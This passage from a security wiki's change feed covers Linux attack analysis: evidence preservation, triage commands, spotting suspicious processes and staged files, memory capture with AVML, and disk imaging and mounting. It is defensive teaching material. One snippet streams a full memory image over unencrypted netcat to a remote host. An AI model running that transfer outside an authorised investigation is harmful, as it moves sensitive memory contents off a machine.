| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=262</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=262"/>
		<updated>2026-10-02T23:30:46Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Requested review by FlyingShrimps: added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{submit}}&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
